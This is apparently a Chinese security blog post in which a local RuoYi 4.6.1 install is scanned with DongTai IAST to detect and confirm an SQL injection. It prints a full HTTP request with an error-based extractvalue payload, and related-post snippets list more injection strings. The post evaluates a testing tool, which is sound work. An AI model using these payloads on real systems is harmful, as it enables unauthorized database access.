<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    洞態IAST檢測RuoYi的sql注入漏洞

    VSole2021-07-27 19:58:04

    01 背景

    因為看到 Xcheck 發的自動檢測到開源項目 RuoYi 的 sql 注入漏洞,因此打算用該漏洞驗證一下洞態 IAST 的漏洞檢測能力。洞態 IAST 的檢測方式是掃描運行中的應用程序,將掃描到的漏洞信息發送到云端進行處理、展示。

    02 驗證方式

    本次驗證選擇在本地 IDEA 運行 Xcheck 測試的 RuoYi 版本(4.6.1),使用洞態 IAST 的 IDEA 插件對其進行快速檢測。

    03 本地環境搭建

    1.克隆 RuoYi 源碼

    $ git clone https://github.com/yangzongzhuan/RuoYi.git
    

    注:RuoYi 新版本已修復漏洞,需要將項目版本改為4.6.1,或者直接下載 RuoYi-4.6.1的源碼包。

    RuoYi-4.6.1源碼下載:https://github.com/yangzongzhuan/RuoYi/archive/refs/tags/v4.6.1.zip
    

    2.使用 IDEA 打開項目

    3.修改ruoyi-admin模塊下的application-druid.yml中的數據庫信息,將username和password改為本地數據庫

    4.創建數據庫ry,導入項目sql文件夾下的.sql文件

    mysql -utest -p1234 -e "CREATE DATABASE ry DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci;"mysql -utest -p1234 rymysql -utest -p1234 ry
    

    04 IDEA插件的下載與安裝

    1.下載 DongTai IAST 插件 下載地址:

    https://github.com/HXSecurity/DongTai-Plugin-IDEA/releases/download/v1.0/DongTai-Plugin-IDEA.zip
    

    2.安裝

    3.打開 IDEA preferences 界面的 Plugins,選擇從本地下載,導入下載好的插件DongTai-Plugin-IDEA.zip。

    選中插件,啟動插件功能(無需重新啟動IDEA)。

    官方文檔:https://hxsecurity.github.io/DongTaiDoc/#/doc/tutorial/plugin
    

    05 運行項目

    1.使用插件功能“Run With IAST”或者“Debug With IAST”啟動項目

    使用 IDEA 打開本次檢測項目“RuoYi”,版本為4.6.1。

    配置好數據庫等配置文件,使用“Run With IAST”或者“Debug With IAST”啟動或調試項目。注意:第一次使用該功能需要配置Token(Token需要登陸洞態IAST官網在 部署IAST 中獲取,詳細請看官方文檔)。

    項目啟動成功,訪問 127.0.0.1:80

    06 漏洞檢測

    1.測試項目功能,開始被動式挖洞。訪問“角色管理”功能,會出現“http://localhost/system/role/list的POST請求出現SQL注入漏洞”。
    

    2.查看“漏洞列表”面板

    訪問項目功能后,打開“漏洞列表”面板,查看已檢測到的漏洞的概要信息

    查看“http://localhost/system/role/list的POST請求出現SQL注入漏洞”,選中它然后點擊查看詳情,跳轉到洞態IAST漏洞詳情頁面,開始分析漏洞

    07 漏洞驗證

    使用Burp Suite進行抓包,進行報錯注入獲取到數據庫的版本號。

    POST /system/role/list HTTP/1.1Host: localhostContent-Length: 214sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36Content-Type: application/x-www-form-urlencodedOrigin: http://localhostSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://localhost/system/roleAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: JSESSIONID=142a87a0-faef-479c-a158-67de9d8b14aaConnection: close
    pageSize=10&pageNum=1&orderByColumn=roleSort&isAsc=asc&roleName=&roleKey=&status=?ms%5BbeginTime%5D=?ms%5BendTime%5D=?ms%5BdataScope%5D=and extractvalue(rand(),+concat(0x3a,substring(version(),1,30)))=1
    

    通過注入獲取到了數據庫的版本號,漏洞驗證成功。

    HTTP/1.1 200 Content-Type: application/jsonDate: Mon, 12 Jul 2021 06:34:54 GMTConnection: closeContent-Length: 1101
    {"msg":"運行時異常:### Error querying database.  Cause: java.sql.SQLException: XPATH syntax error: ':8.0.25'### The error may exist in URL [jar:file:/Users/erzhuangniu/workspace/bugenv/docker/ruoyi-admin.jar!/BOOT-INF/lib/ruoyi-system-4.6.1.jar!/mapper/system/SysRoleMapper.xml]### The error may involve com.ruoyi.system.mapper.SysRoleMapper.selectRoleList-Inline### The error occurred while setting parameters### SQL: SELECT count(0) FROM (SELECT DISTINCT r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status, r.del_flag, r.create_time, r.remark FROM sys_role r LEFT JOIN sys_user_role ur ON ur.role_id = r.role_id LEFT JOIN sys_user u ON u.user_id = ur.user_id LEFT JOIN sys_dept d ON u.dept_id = d.dept_id WHERE r.del_flag = '0' AND extractvalue(rand(), concat(0x3a, substring(version(), 1, 30))) = 1) table_count### Cause: java.sql.SQLException: XPATH syntax error: ':8.0.25'; uncategorized SQLException; SQL state [HY000]; error code [1105]; XPATH syntax error: ':8.0.25'; nested exception is java.sql.SQLException: XPATH syntax error: ':8.0.25'","code":500}
    

    08 總結

    通過本次測試發現洞態IAST在漏洞檢出上效果很好,而且多次測試還檢測出了RuoYi的其他漏洞,經過漏洞驗證均為真實漏洞,而洞態IAST的IDEA插件又降低了檢測漏洞的門檻,只需在IDEA中運行項目即可進行檢測漏洞,十分方便,推薦大家嘗試、使用。

    sql注入注入漏洞
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    id=3';對應的sql:select * from table where id=3' 這時sql語句出錯,程序無法正常從數據庫中查詢出數據,就會拋出異常; 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=1' order by 3# 沒有報錯,說明存在3列爆出數據庫:?id=-1' union select 1,group_concat,3 from information_schema.schemata#爆出數據表:?id=1' and extractvalue--+(爆字段)?
    id=1' order by 3# 沒有報錯,說明存在3列。id=-1' union select 1,group_concat,3 from 數據庫名.數據表名--+拓展一些其他函數:system_user() 系統用戶名。updatexml函數:細節問題:extractvalue()基本一樣,改個關鍵字updatexml即可,與extractvalue有個很大的區別實在末尾注入加上,如:,而extractvalue函數末尾不加1(數值)?
    服務器的相關信息(真實ip,系統類型,版本,開放端口,WAF等) 網站指紋識別(包括,cms,cdn,證書等),dns記錄 whois信息,姓名,備案,郵箱,電話反查(郵箱丟社工庫,社工準備等) 子域名收集,旁站,C段等 google hacking針對化搜索,pdf文件,中間件版本,弱口令掃描等 掃描網站目錄結構,爆后臺,網站banner,測試文件,備份等敏感文件泄漏等 傳輸協議,通用漏洞,ex
    網上安全滲透測試工具整理全集,部分鏈接可能失效,但可以搜索到
    Web Hacking 101 中文版:https://wizardforcel.gitbooks.io/web-hacking-101/content/ 淺入淺出Android安全 中文版:https://wizardforcel.gitbooks.io/asani/content/ Android 滲透測試學習手冊 中文
    未正確驗證用戶輸入的應用程序使它們容易受到 SQL 注入的攻擊。SQL 注入攻擊 發生在攻擊者能夠通過操縱用戶輸入數據將一系列惡意 SQL 語句插入“查詢”以供后端數據庫執行時。使用這種類型的威脅,應用程序可以很容易地被黑客入侵并被攻擊者竊取機密數據。
    概述在學習SQL注入之前,我們應先了解什么是SQL?原理SQL注入就是當開發人員對用戶輸入數據的合法性沒有判斷或過濾不嚴時,攻擊者通過拼接惡意SQL語句誘使解釋器在未經適當授權的情況下執行意外命令或訪問數據。
    在程序執行出錯時,不要顯示與內部實現相關的細節。直接對象引用使用的唯一標識可以通過隨機數生成以難以猜測。在進行頁面顯示或做處理之前對用戶權限進行檢查。
    SSJI - Node.js漏洞介紹
    2021-11-09 16:16:27
    ssji,為服務器端的javascript注入,可分為sql注入和代碼注入 運行于服務端的javascript常用的有node.js node.js 是運行于服務端的javascript 把javascript變為服務器端的腳本語言
    當我們輸入正確的手機號和正確的短信驗證碼,然后進入重置密碼的最后一步,也就是輸入新的密碼輸入密碼后提交到服務端的post數據包需要包含當前用戶的身份信息。修改響應包重置任意賬號密碼:通過手機找回密碼一般需要短信驗證碼驗證,服務端需要告訴客戶端,輸入的驗證碼是否正確。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类